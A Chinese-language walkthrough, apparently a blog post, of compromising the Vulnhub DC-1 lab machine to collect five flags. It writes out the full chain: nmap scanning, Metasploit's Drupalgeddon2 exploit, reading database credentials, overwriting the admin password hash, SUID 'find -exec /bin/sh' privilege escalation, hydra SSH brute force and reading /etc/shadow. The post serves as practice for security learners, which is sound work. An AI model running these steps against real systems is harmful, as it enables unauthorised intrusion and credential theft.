对DC-1靶机进行渗透测试

一、前言

我们都知道,对靶机的渗透,可以宽阔自己的解题思路,练习并熟悉相关操作命令,提高自己的能力。下面我就对Vulnhub的DC-1靶机进行渗透,靶机设置了5个flag,咱们依次找到它。并通过图文形式讲解涉及到的相关知识点。

靶机:DC-1,IP地址:192.168.186.131

攻击机:Kali,IP地址:192.168.186.130

二、渗透测试

1、部署靶机

下载安装DC-1,并启动DC-1,下载完解压后会有一个以.ova为后缀的文件,直接在VM中用”打开虚拟机”,在设置中修改网络适配器为NET模式。

在这里记一下DC-1的MAC地址,等下用的到。

启动DC-1时开机就好,因为不知道用户名和密码,所以登录不了

2、查看攻击机相关信息

打开kali,查看kali的IP地址和子网掩码

因为DC-1和kali现在属于同一个网段,查看kali的IP和子网掩码是为了获得DC-1的网络号

DC-1的网络号是:192.168.186.0/24

3、主机发现

使用netdiscover扫描主机

netdiscover -i eth0 -r 192.168.186.0/24
##netdiscover: -i 指定网卡 -r 指定网段

也可以使用nmap进行主机发现,

nmap -sP 192.168.186.0/24

在使用nmap进行主机发现时,会扫描出本机的IP地址,而netdiscover则不会扫描出本机IP地址

根据之前记下的MAC地址确定扫描到的主机哪一个是DC-1,因为MAC地址是主机的唯一标识。

获得DC-1靶机ip:192.168.186.131(可通过浏览器访问进行验证)

4、端口扫描

使用nmap扫描DC-1,看有什么服务是可利用的(端口扫描)

root@kali:~# nmap -sV -A 192.168.186.131

发现目标机开放了22、80、111端口。

5、信息收集

我们以80端口作为突破口。访问80,查看基本信息,可以使用Firefox插件Wappalyzer,或者扫描网站目录,查看robots.txt等暴露出的信息,可以获取到Drupal的版本

6、利用metasploit-framework进行渗透攻击

下面使用MSF进行渗透攻击。打开工具,搜索Drupal的相关模块。

msf5 > search Drupal

这里我选择第5个模块。

输入命令:

msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > show options
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.186.131
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > exploit

7、获取meterpreter shell

获取到了meterpreter shell,现在查看一下目录,发现目标,找到flag1

8、查看flag1文件并寻找配置文件

查看flag1文件,发现有提示,咱们寻找配置文件。Drupal的配置文件是网站根目录下的/site/defaultx下的setting.php文件,所以接下来进入sites目录下,接着进入default目录,查看settings.php文件。

9、发现flag2,进入数据库

我们进入对应目录,查看settings.php文件,发现flag2,而且还有数据库账号和密码,flag2提示不要使用字典暴力破解密码,应该使用其他方法,通过数据库应该是一种方法。

现在尝试登陆数据库,使用mysql命令登录,发现mysql命令无效

meterpreter > mysql -udbuser -pR0ck3t

进入目标机shell环境,查看端口情况。命令:netstat -ano

我们注意到,数据库只允许本地连接。所以,我们需要反弹一个shell出来。

使用exit命令退出,然后输入shell,切换外壳,再次登录mysql发现终端不能正常回显信息

使用exit命令退出,然后再次进入shell,输入python -v,发现系统自带Python 2.7,通过pty.spawn()获得交互式shell

采用python调用系统命令:

python -c 'import pty;pty.spawn("/bin/bash")'

发现反弹成功,接下来输入数据库账号密码连接MySQL数据库。

10、查看数据库相关信息

下面,我们查看库,查看表

mysql> show databases;
mysql>use drupaldb;          #使用drupaldb数据库
mysql>show tables;           #查看数据库内的表

发现有一个名字为user的表,查看其中的项

select语句查询,找到可用于登录的用户admin和密码密文

mysql> select * from users;

整理一下

mysql> select * from users\G

11、破解并替换用户密码

发现了admin账户和密码。但是这个密码有点复杂,破解有点困难。所以想想其他的方法。这里我们登陆了对方数据库,所以,我们采用对方的加密方式覆盖掉原来的密码就可以了。密文产生的脚本是/scripts/password-hash.sh,使用这个脚本产生123456密文,产生的密文替换数据库中admin的密文,admin用户的密码就能改成123456,完成后使用update命令更新。

使用Drupal对数据库的加密方法,加密脚本位置在网站根目录下的scripts下

退出数据库,使用加密脚本加密新密码:123456,生成加密密文

命令:php scripts/password-hash.sh 123456

password: 123456         hash: $S$DNRRv7QXsGagI0rl3DlCVgU.8WShIZnnPmocApA7B5C0mIItBQTx

接着进入drupaldb数据库,替换掉原来的密码。

www-data@DC-1:/var/www$ mysql -udbuser -pR0ck3t
mysql> show databases;
mysql> use drupaldb;
mysql> update users set pass="$S$DNRRv7QXsGagI0rl3DlCVgU.8WShIZnnPmocApA7B5C0mIItBQTx" where uid=1;

替换成功

12、登录网站,获得flag3

替换成功后,使用admin/123456登陆网站,登录成功

在Content下找到Flag3

13、查看发flag3信息,获得flag4,find提权

接下来,我们看看得到的Flag3的线索:

关键词:FIND、PERMS、-exec、shadow

点击flag3后,关注点放到passwd文件和shadow文件。

退出mysql模式后,键入:

$ cat /etc/passwd

发现flag4的位置,

$ cd /home/flag4

$ ls

$ cat flag4.txt

flag4.txt的内容:

Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy. Or maybe it is?

告诉我们需要提升权限

Linux为了考虑安全性,用单独的shadow文件存储Linux用户的密码信息,并且只有root用户有权限读取此文件。所以下一步,我们要考虑的是提权了。

采用find提权注意:find (一个路径或文件必须存在) -exec 执行命令 (结束)\;进行find提权前,需要进检查find命令是否有suid权限,有suid权限可进行提权操作

$ find ./ aaa -exec '/bin/sh' \;

# whoami

# cd /root

# ls

# cat thefinalflag.txt

得到root权限和最终flag。

14、发现ssh账户,爆破密码

查看shadow文件

发现flag4是一个账户。猜测是ssh账户,这里尝试暴力破解。flag4用户密码可以使用ssh登录进行爆破

wget http://www.openwall.com/john/j/john-1.8.0.tar.gz #下载John密码包

tar -xvf john-1.8.0.tar.gz #解压缩

cd john-1.8.0/ src #进入源码目录下

uname -a #查看当前系统版本

make linux-x86-64 #编译并指定当前的Linux系统版本

使用hydra+John密码包对flag4的密码进行爆破,爆破密码为:flag4/orange

hydra -l flag4 -P /usr/share/john/password.lst ssh://192.168.1.103 -f -vV -o hydraflag4.ssh

15、进行ssh登录,发现最终flag

flag4用户使用ssh登录

root@kali:~# ssh flag4@192.168.186.131

在flag4用户的家目录中,发现flag4.txt

进去之后,发现是“$”,而不是“#”,用上边同样的方法,find命令提权为root,在root的根目录下发现最终的flag文件!至此5个flag全部找到!

主要联系了命令和工具的使用,以及使用find命令找suid和提权。

三、补充:find提权

进行find提权前,需要进检查find命令是否有suid权限,有suid权限可进行提权操作

1. 查看find命令权限

方法 一、

1. 查看find命令位置

which find

2. 查看 find 命令权限

ls -l /usr/bin/find # 这是find 默认位置

-rwsr-xr-x. 1 root root 199200 Nov 20 2015 /usr/bin/find

# 有s 代表具有suid 权限,表示可以提权

方法 二、

# 用find 命令查找 有超级属性的文件

find / -perm -4000 -type f 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

-perm:按照文件权限来查找文件,4000,2000,1000为分别表示SUID,SGID,SBIT,如777为普通文件的最高权限,7000为特殊文件的最高权限
-type:d(目录)f(文件)c(字符设备文件)b(块设备文件)

下图表示,find命令具有suid 权限,表示可以提权

如果find命令没有suid权限,可以给find命令赋予suid权限

chmod u+s /usr/bin/find

find拥有suid权限位,尝试以find命令执行whoami

find `which find` -exec whoami \;

通过对比发现已经是以root权限执行find命令

2. 假如find命令可提权 有s权限位

权限位 u + s

权限为 4xxx

# 查看是否可以用root 命令执行命令
find `which find` -exec whoami \;
# 命令解释: 以find 命令 执行  whoami 命令。   
# find  (一个路径或文件必须存在)  -exec  执行命令 (结束)\;

可以直接执行命令

find /usr/bin/find -exec cat /etc/shadow \;

查看普通用户没有权限查看的文件。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值